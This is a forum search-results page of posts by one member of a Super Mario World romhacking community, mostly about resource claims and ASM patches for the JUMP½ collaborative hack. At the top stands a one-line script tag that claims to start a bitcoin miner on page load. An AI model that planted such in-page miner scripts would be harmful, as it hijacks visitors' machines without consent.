<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitypge projectmario fan games galaxy

Search found 559 matches

Go to advanced search

by worldpeace125
1 year ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 92484

Re: Claim a Thing Place

exgfx 113
by worldpeace125
2 years ago
Forum: JUMP½
Topic: Libraries for common use
Replies: 5
Views: 2955

Re: Libraries for common use

6. Lock System There are two kinds of lock blocks for shops; one requiring certain amount of dragon coins, and the other requiring you to visit certain level. 64 dc locks and 32 visit locks are prepared in total. Lock GFX and palettes: shopgfx.zip 1) inserting a lock block Press "Insert" in object ...
by worldpeace125
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 92484

Re: Claim a Thing Place

map16 9A0-9FF for shop blocks
by worldpeace125
2 years ago
Forum: JUMP½
Topic: Libraries for common use
Replies: 5
Views: 2955

Re: Libraries for common use

5. Movie System 1) recording a movie Step 1. Open level 1FF with LM and set the #00th screen exit to the entrance where your movie is supposed to start. rec1.png Step 2. Open the game with ZSNES, enter level 1FF, and go LEFT for the recording room. JUMPhalf_00000.png Step 3. To start recording, ent...
by worldpeace125
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 92484

Re: Claim a Thing Place

also secondary exit 155 and ExGFX 1F9, 1FA, and 1FB
by worldpeace125
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 92484

Re: Claim a Thing Place

sublevel 1DA and sprites 5E-5F
by worldpeace125
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 92484

Re: Claim a Thing Place

claiming music 9D
by worldpeace125
2 years ago
Forum: JUMP½
Topic: Libraries for common use
Replies: 5
Views: 2955

Re: Libraries for common use

4. 121+ Events Currently 32 events are prepared (0x78-0x97, 120-151 in decimal), in addition to regular 120 events (0x0-0x77, 0-119 in decimal). What are supported for 121+ events: - Layer 1 tile destruction - Layer 1 tile reveal - Layer 2 events (non-silent) What are NOT supported: - Layer 1 event...
by worldpeace125
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 92484

Re: Claim a Thing Place

secondary exits 153 and 154 please
by worldpeace125
2 years ago
Forum: JUMP½
Topic: What's Left To Do thread
Replies: 12
Views: 3821

Re: What's Left To Do thread

EDIT: also this should be patched to the base rom. still waiting to be accepted or denied, but smwc has like .5 asm moderators. 'ccording 2 worldpeace it fixes the issues that imamelias version had with crashing. elsewise, one of my levels is gonna have glitchy line guides lmao This patch can affec...
by worldpeace125
2 years ago
Forum: JUMP½
Topic: JUMP½ Main Discussion, Rules and Base ROM
Replies: 120
Views: 28844

Re: JUMP½ Main Discussion, Rules and Base ROM

Because of the necessity, I made a patch that allows more than 120 exits from scratch. For now you can have at most 152 exits (120+4*8) but this limit can be easily changed if you want. Available for extra events(121st-152nd) - layer 1 tile revealing: you need to handle the config table. see the att...
by worldpeace125
2 years ago
Forum: JUMP½
Topic: JUMP½ Main Discussion, Rules and Base ROM
Replies: 120
Views: 28844

Re: JUMP½ Main Discussion, Rules and Base ROM

This one resolves the slowdown issue. Replace the old PATCH folder with this entirely. Then simply run "insert.bat" to apply the patches. e: of course you should keep your recent data files (AuthorData, DCdata, ExtraMsgData, ExtraTranslvData, levelinfodata, LevelNameData, NoYoshiData). I worked on t...
by worldpeace125
2 years ago
Forum: let's play
Topic: VLDC9 - vanilla level design contest 9
Replies: 1065
Views: 95464

Re: VLDC9 - veneered liners diverse coasts 9

I think y'all overreact too much over dirt formations and shit sometimes. Overdecorating doesn't make a level look good, but in most cases it barely hinders the experience. Overdecorating usually distracts players from focusing on the main component of game play like obstacles. It becomes even wors...
by worldpeace125
3 years ago
Forum: Talkhaus Mosts 2016
Topic: Best JUMP level
Replies: 5
Views: 751

Re: Best JUMP level

Perilous Pier

honorable mention:
Manky Bridge, Cave of the Jocks, Crumbling Your Problems Away, IMPETUOUS ATHLETIC, and etc

it was very difficult to choose
by worldpeace125
3 years ago
Forum: Talkhaus Mosts 2016
Topic: Best Level Designer
Replies: 12
Views: 3459

Re: Best Level Designer

Lazy
by worldpeace125
3 years ago
Forum: Talkhaus Mosts 2016
Topic: Biggest Morsel Fan
Replies: 10
Views: 2793

Re: Biggest Morsel Fan

ft029
by worldpeace125
3 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 92484

Re: Claim a Thing Place

I'd like to make a level after a long hiatus, so level 1E8 please. Reject this however if you couldn't wait me for some months due to my uncertain situation. Perhaps I cannot complete this until next Febuary in the second worst case, and I may even give this up in the worst case. At least I will try...
by worldpeace125
3 years ago
Forum: JUMP½
Topic: JUMP½ Main Discussion, Rules and Base ROM
Replies: 120
Views: 28844

Re: JUMP½ Main Discussion, Rules and Base ROM

ASM update: Fixed the SRAM init routine to prevent the issue found in some of real hardwares. It's replaced with the same one of JUMP v1.04.

Follow the instruction to insert patches (to aterraformer or anyone else who wants to use the latest features in advance).
by worldpeace125
3 years ago
Forum: the cartridgé
Topic: VIP 6: Interesting idea
Replies: 5
Views: 1525

Re: VIP 6: Interesting idea

I don't think it's a good idea to participate in it unless we (smw hackers) are really good at Japanese. I notice there's been a conflict between native hackers, but I don't know what's exactly happening there due to language barrier. As a big fan of the VIP series, I'm looking forward to playing th...
by worldpeace125
3 years ago
Forum: JUMP
Topic: Level tweaking and QA (next: JUMP v1.04)
Replies: 91
Views: 19967

Re: Level tweaking and QA (next: JUMP v1.04)

After giving aterraformer the 1.04 file via discord I forgot everything, sorry for the inconvenience.

This might be the last version.

JUMP v1.04
by worldpeace125
3 years ago
Forum: JUMP½
Topic: JUMP½ Main Discussion, Rules and Base ROM
Replies: 120
Views: 28844

Re: JUMP½ Main Discussion, Rules and Base ROM

If you need the latest ASM hacks explained on the library thread as soon as possible, copy/paste these files into your project folder then apply PATCH/asar_patch.asm only. Or just use insert.bat. If your level uses level ASM, you have to replace uberASM/hijacks/level.asm before applying uberASM/asar...
by worldpeace125
3 years ago
Forum: JUMP½
Topic: Libraries for common use
Replies: 5
Views: 2955

Re: Libraries for common use

3. Level info and powerup filters JUMP_00000.png To modify stuffs in the level info dialogue, edit PATCH/levelinfodata.asm for icons and the number of exit, or PATCH/AuthorData.asm for the author field. Then with asar.exe, apply only asar_patch.asm into the base ROM. Note that each level can have a...
by worldpeace125
3 years ago
Forum: JUMP½
Topic: Libraries for common use
Replies: 5
Views: 2955

Re: Libraries for common use

2. Using sublevels 1E0-1FF as ordinary levels 1.png Layer 1 tiles in the second page will allow you to use 1E0-1FF as ordinary levels enterable from overworld. 2.png The entrance will be the level number plus 1E0, i.e. 0 -> 1E0 1 -> 1E1 2 -> 1E2 ... 1F -> 1FF To insert messages in these levels, ope...
by worldpeace125
3 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 92484

Re: Claim a Thing Place

Reserving sublevel 1E0-1EF for translevels in case 1-24 and 101-13B are not enough

Go to advanced search

cron